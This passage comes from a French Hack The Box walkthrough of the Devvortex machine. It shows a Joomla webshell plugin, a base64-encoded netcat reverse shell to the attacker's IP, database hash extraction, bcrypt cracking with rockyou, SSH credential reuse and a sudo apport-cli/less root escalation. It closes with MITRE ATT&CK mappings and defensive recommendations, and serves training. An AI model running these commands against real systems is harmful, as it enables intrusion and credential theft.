<p>L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : <a href="https://github.com/p0dalirius/Joomla-webshell-plugin" target="_blank" rel="noopener nofollow" title="https://github.com/p0dalirius/Joomla-webshell-plugin">https://github.com/p0dalirius/Joomla-webshell-plugin</a></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser<strong> les outils utilisés </strong>(faire une revue de code avant utilisation, ou faire votre propre plugin).</p>
</blockquote>



<p>Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1059/004/" target="_blank" rel="noopener nofollow" title="T1059.004 - Command and Scripting Interpreter: Unix Shell">T1059.004 - Command and Scripting Interpreter: Unix Shell</a></p>



<pre class="wp-block-code"><code>$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">exec</mark>&amp;cmd=<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">id</mark>"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">exec</mark>&amp;cmd=<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2LjIxIDkwMDEgPi90bXAvZgo=|base64%20-d|bash</mark>"</code></pre>



<p>Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec <strong>echo</strong>, puis qui la <strong>décode</strong> et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des <em>quotes</em>, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :</p>



<pre class="wp-block-code"><code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.10.16.21 9001 &gt;/tmp/f</code></pre>



<p>Cette commande crée un <em>pipe</em> et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de <strong>produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte,</strong> ce qui entraîne des alertes de sécurité.</p>
</blockquote>



<p>Après avoir mis un <strong>netcat</strong> en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que <strong>www-data</strong> sur le serveur :</p>



<pre class="wp-block-code"><code>$ nc -lvp 9001
listening on &#91;any] 9001 ...
connect to &#91;10.10.16.21] from devvortex.htb &#91;10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-data</code></pre>



<h3 class="wp-block-heading">D. Vol des identifiants de l'utilisateur logan</h3>



<p>Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande <strong>netstat</strong> pour récupérer les services qui ont un port en écoute :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1049/" target="_blank" rel="noopener nofollow" title="T1049 - System Network Connections Discovery">T1049 - System Network Connections Discovery</a></p>



<pre class="wp-block-code"><code>$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          23392      883/nginx: worker p 
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        22905      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          24155      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      114        25609      -                   
tcp        0      0 <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">127.0.0.1:3306 </mark>         0.0.0.0:*               LISTEN      114        25611      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          23393      883/nginx: worker p 
tcp6       0      0 :::22                   :::*                    LISTEN      0          24166      -           </code></pre>



<p>Nous voyons, en plus de services que nous connaissons déjà, un <strong>service MySQL</strong>. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "<strong>users</strong>" du CMS Joomla :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener nofollow" title="T1078.003 - Valid Accounts: Local Accounts">T1078.003 - Valid Accounts: Local Accounts</a></p>



<pre class="wp-block-code"><code>$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: &#91;Warning] Using a password on the command line interface can be insecure.
id      name    username        email   password        block   sendEmail       registerDate    lastvisitDate   activation      params  lastResetTime   resetCount      otpKey  otep    requireReset    authProvider
649     lewis   lewis   lewis@devvortex.htb     $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u    0       1       2023-09-25 16:44:24     2023-11-26 10:34:39     0               NULL    0                       0
650     logan paul      logan   <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">logan@devvortex.htb     $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12</mark>    0       0       2023-09-26 19:15:42     NULL            {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}     NULL    0                       0</code></pre>



<p>Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Le code d'identification d'un hash, tel que le <code><strong>$2y$</strong></code>, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici, <code>$2y$</code> indique que l'empreinte <strong>a été générée à l'aide de l'algorithme bcrypt</strong>. Il n'est cependant pas obligatoire pour tous les algorithmes.<br><br>Vous trouverez une liste très complète des types de hash ainsi que des exemples de format sur le site d'hashcat : <a href="https://hashcat.net/wiki/doku.php?id=example_hashes" target="_blank" rel="noopener nofollow" title="">https://hashcat.net/wiki/doku.php?id=example_hashes</a></p>
</blockquote>



<p>Nous aurions également pu avoir cette information en utilisant l'outil <a href="https://github.com/psypanda/hashID" target="_blank" rel="noopener nofollow" title="hashid">hashid</a> :</p>



<pre class="wp-block-code"><code>$ hashid '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                      
Analyzing '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                                    
&#91;+] <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Blowfish(OpenBSD)</mark> 
&#91;+] Woltlab Burning Board 4.x 
&#91;+] <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">bcrypt</mark> </code></pre>



<p>Utilisons l'outil <a href="https://github.com/openwall/john" target="_blank" rel="noopener nofollow" title="johntheripper">johntheripper</a> pour casser ce hash et retrouver le mot de passe qui a permis de le générer :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1110/002/" target="_blank" rel="noopener nofollow" title="T1110.002 - Brute Force: Password Cracking">T1110.002 - Brute Force: Password Cracking</a></p>



<pre class="wp-block-code"><code>$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">bcrypt &#91;Blowfish 32/64 X3]</mark>)
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">tequieromucho</mark> (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably</code></pre>



<p>Vous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "<strong>rockyou.txt</strong>" comme dictionnaire pour casser ce mot de passe.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. <strong>Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou</strong>. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations. <br><br>Il contient <strong>14 344 391 mots de passe couramment utilisés</strong>, souvent faibles en complexité.</p>
</blockquote>



<p>Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="T1021.004 - Remote Services: SSH">T1021.004 - Remote Services: SSH</a></p>



<pre class="wp-block-code"><code>$ ssh logan@devvortex.htb
logan@devvortex:~$ cat user.txt
8&#91;REDACTED1</code></pre>



<p>La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.</p>



<h3 class="wp-block-heading">E. Élévation de privilèges via apport-cli et sudo</h3>



<p>Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande <strong>/usr/bin/apport-cli</strong> en tant que root via <strong>sudo</strong> :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1033/" target="_blank" rel="noopener" title="T1033 - System Owner/User Discovery">T1033 - System Owner/User Discovery</a></p>



<pre class="wp-block-code"><code>logan@devvortex:~$ sudo -l
&#91;sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli</code></pre>



<p>Je ne connais pas du tout cette commande, regardons son aide avec l'option <strong>--help</strong>:</p>



<pre class="wp-block-code"><code>logan@devvortex:~$ /usr/bin/apport-cli --help           
Usage: apport-cli &#91;options] &#91;symptom|pid|package|program path|.apport/.crash file]    
           
Options:   
  -h, --help            show this help message and exit 
  <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">-f, --file-bug        Start in bug filing mode</mark>. Requires --package and an           
         optional --pid, or just a --pid. If neither is given,         
         display a list of known symptoms. (Implied if a single        
         argument is given.)             
&#91;...]
 <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color"> -v, --version         Print the Apport version number</mark>.      

logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11
</code></pre>



<p>La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment<strong> d'un mode interactif</strong> à l'aide de l'option "<strong>-f"</strong>. Nous pouvons également identifier sa version exacte avec l'option "<strong>-v"</strong>. Je découvre que la <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-1326" target="_blank" rel="noopener nofollow" title="CVE-2023-1326">CVE-2023-1326</a> (score CVSS3 : 7.8) affecte cette version :</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="800" height="314" src="media/9b3a9afe.hackthebox-walkthrough-devvortex-cve-800x314.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-cve-800x314.png" alt="" class="wp-image-72764" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-cve-800x314.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-cve-550x216.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-cve-150x59.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-cve-768x302.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-cve-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-cve.png 1052w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Visiblement, <strong>apport-cli</strong> utilise <strong>less</strong>, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec <strong>sudo</strong>. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :</p>



<figure class="wp-block-image aligncenter size-large is-resized"><img decoding="async" width="800" height="191" src="media/d0c543df.hackthebox-walkthrough-devvortex-less-sudo-800x191.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-less-sudo-800x191.png" alt="" class="wp-image-72765" style="width:818px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-less-sudo-800x191.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-less-sudo-550x131.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-less-sudo-150x36.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-less-sudo-768x183.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-less-sudo-50x12.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-less-sudo.png 829w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Ressource : <a href="https://gtfobins.github.io/" target="_blank" rel="noopener" title="">https://gtfobins.github.io/ </a>est une excellente ressource à connaitre. Ce site<strong> liste les exploitations possibles des binaires connus sous Linux</strong>. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via <strong>sudo ou un bit setuid</strong> (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir <strong>si les binaires utilisés ou présents sur un système présentent un risque</strong>.</p>
<cite>https://gtfobins.github.io/</cite></blockquote>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1548/003/" target="_blank" rel="noopener nofollow" title="T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching">T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching</a></p>



<p>Le binaire apport-cli est donc <strong>exécuté en tant que root via sudo et utilise less</strong>, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (<strong>-f</strong>) et un mode "view report" (<strong>-v</strong>) nous est proposé, c'est certainement à ce moment-là que less intervient :</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="802" height="466" src="media/c99d98ed.thebox-walkthrough-devvortex-privilege-escalation-apport-cli.gif" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-walkthrough-devvortex-privilege-escalation-apport-cli.gif" alt="" class="wp-image-72766"/></figure>



<p><strong>Et nous voilà avec les droits root sur le système ! </strong>L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !</p>



<h2 class="wp-block-heading">III. Résumé de l'attaque</h2>



<p>Voici une description de l'attaque réalisée en utilisant les TTP (<em>Tactics, Techniques and Procedures</em>) du <a href="https://attack.mitre.org/" target="_blank" rel="noopener nofollow" title="framework MITRE ATT&amp;CK">framework MITRE ATT&amp;CK</a> :</p>



<figure class="wp-block-table"><table><tbody><tr><td class="has-text-align-left" data-align="left"><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">TTP</mark></strong> (MITRE ATT&amp;CK)</td><td><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Détails</mark></strong></td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="T1046 - Network Service Discovery">T1046 - Network Service Discovery</a></td><td>Utilisation de <strong>nmap</strong> pour découvrir les services exposés sur le réseau</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1595/003/" target="_blank" rel="noopener" title="T1595.003 - Active Scanning: Wordlist Scanning">T595.003 - Active Scanning: Wordlist Scanning</a></td><td>Utilisation de <strong>ffuf</strong> pour énumérer les vhost du service web</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1595/" target="_blank" rel="noopener" title="T1595 - Active Scanning:&nbsp;Vulnerability Scanning">T1595 - Active Scanning:&nbsp;Vulnerability Scanning</a></td><td>Identification de la version et recherche des CVE associées</td></tr><tr><td class="has-text-align-left" data-align="left"> <a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener nofollow" title="T1190 - Exploiting Public-Facing application">T1190 - Exploiting Public-Facing Application</a></td><td>Exploitation de la <strong>CVE-2023-23752</strong> pour récupérer des informations d'authentification</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener" title="T1078.003 - Valid Accounts:&nbsp;Local Accounts">T1078.003 - Valid Accounts:&nbsp;Local Accounts</a></td><td>Récupération et découverte d'identifiants dans un fichier sqlite.</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="T1021.004 - Remote Services: SSH">T1021.004 - Remote Services: SSH</a></td><td>Connexion au serveur SSH compromis</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1059/004/" target="_blank" rel="noopener" title="T1059.004 - Command and Scripting Interpreter:&nbsp;Unix Shell">T1059.004 - Command and Scripting Interpreter:&nbsp;Unix Shell</a></td><td>Ajout d'un plugin PHP Joomla en vue d'obtenir une exécution de commande sur le système</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1049/" target="_blank" rel="noopener" title="T1049 - System Network Connections Discovery">T1049 - System Network Connections Discovery</a></td><td>Revue des services en écoute sur la cible via <strong>netstat</strong> et détection d'un service MySQL</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener" title="T1078.003 - Valid Accounts:&nbsp;Local Accounts">T1078.003 - Valid Accounts:&nbsp;Local Accounts</a></td><td>Connnexion au service <strong>MySQL</strong> via les identifiants préalablement récupérés et récupération d'un hash du mot de passe de l'utilisateur logan</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1110/002/" target="_blank" rel="noopener" title="T1110.002 - Brute Force:&nbsp;Password Cracking">T1110.002 - Brute Force:&nbsp;Password Cracking</a></td><td>Cassage du hash avec <strong>johntheripper</strong></td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener" title="T1021.004 - Remote Services: SSH">T1021.004 - Remote Services: SSH</a></td><td>Authentification en tant que logan sur le service SSH</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1033/" target="_blank" rel="noopener" title="T1033 - System Owner/User Discovery">T1033 - System Owner/User Discovery</a></td><td>Découverte des dérogations <strong>sudo</strong> pour l'utilisateur courant</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1548/003/" target="_blank" rel="noopener" title="T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching">T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching</a></td><td>Exploitation de l'utilisation cachée de <strong>less</strong> par le binaire <strong>apport-cli</strong> via sudo</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IV. Notions abordées</h2>



<h3 class="wp-block-heading">A. Côté attaquant</h3>



<p>L'<strong>énumération de vhost</strong> peut apparaitre comme une étape secondaire, mais <strong>elle doit faire partie de votre méthodologie d'énumération</strong>. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.</p>



<p>Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la <strong>plus complète possible de la surface d'attaque d'un système</strong>, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est <strong>très facile de passer à côté de ce type d'information </strong>pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.</p>



<p>La <strong>collecte et la récupération d'identifiants</strong> est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de <strong>réutiliser ces identifiants sur tous les services croisés</strong>. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.</p>



<p>Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur <a href="https://gtfobins.github.io/" target="_blank" rel="noopener nofollow" title="">https://gtfobins.github.io/</a>, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. <strong>Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver</strong>.</p>



<h3 class="wp-block-heading">B. Côté défenseur</h3>



<p>Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :</p>



<p><strong>Recommandation n°1 </strong>: nous pouvons recommander l'application stricte de la directive n°34 du <a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener nofollow" title="Guide d'hygiène de l'ANSSI">Guide d'hygiè</a><a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener" title="Guide d'hygiène de l'ANSSI">ne de l'ANSSI</a> : <strong>Définir une politique de mise à jour des composants du système d’information</strong>. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.</p>



<p><strong>Recommandation n°2 </strong>: il doit également être recommandé d'<strong>utiliser un autre serveur web que le serveur web de production</strong>, exposé à internet<strong>, pour héberger le site web en développement</strong>. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces <strong>environnements en développement sont dans la réalité des cibles très recherchées par les attaquants </strong>et ne doivent donc pas être exposés à Internet et être <strong>strictement cloisonnés des services et réseau de production</strong>.</p>



<p><strong>Recommandation n°3 </strong>: Il peut également être recommandé la <strong>mise en place d'une politique de mot de passe plus robuste</strong>. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du <a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener nofollow" title="Guide d'hygiène de l'ANSSI ">Guide d'hygiène de l'ANSSI </a>: <strong>Définir et vérifier des règles de choix et de dimensionnement des mots de passe</strong>. Le guide <a href="https://cyber.gouv.fr/publications/recommandations-relatives-lauthentification-multifacteur-et-aux-mots-de-passe" target="_blank" rel="noopener nofollow" title="Recommandations relatives à l'authentification multifacteur et aux mots de passe">Recommandations relatives à l'authentification multifacteur et aux mots de passe</a>, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.</p>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p><em>J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).</em></p>



<p>Enfin,<strong> si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy</strong>, utilisez ce lien d'inscription (je gagnerai quelques points <img src="media/b95a57a9.1f642.png" data-original-source="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) : <a href="https://referral.hackthebox.com/mzw333f" target="_blank" rel="noreferrer noopener">Tester Hack the Box Academy</a></p><p>The post <a href="https://www.it-connect.fr/hack-the-box-resoudre-la-box-devvortex/">Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


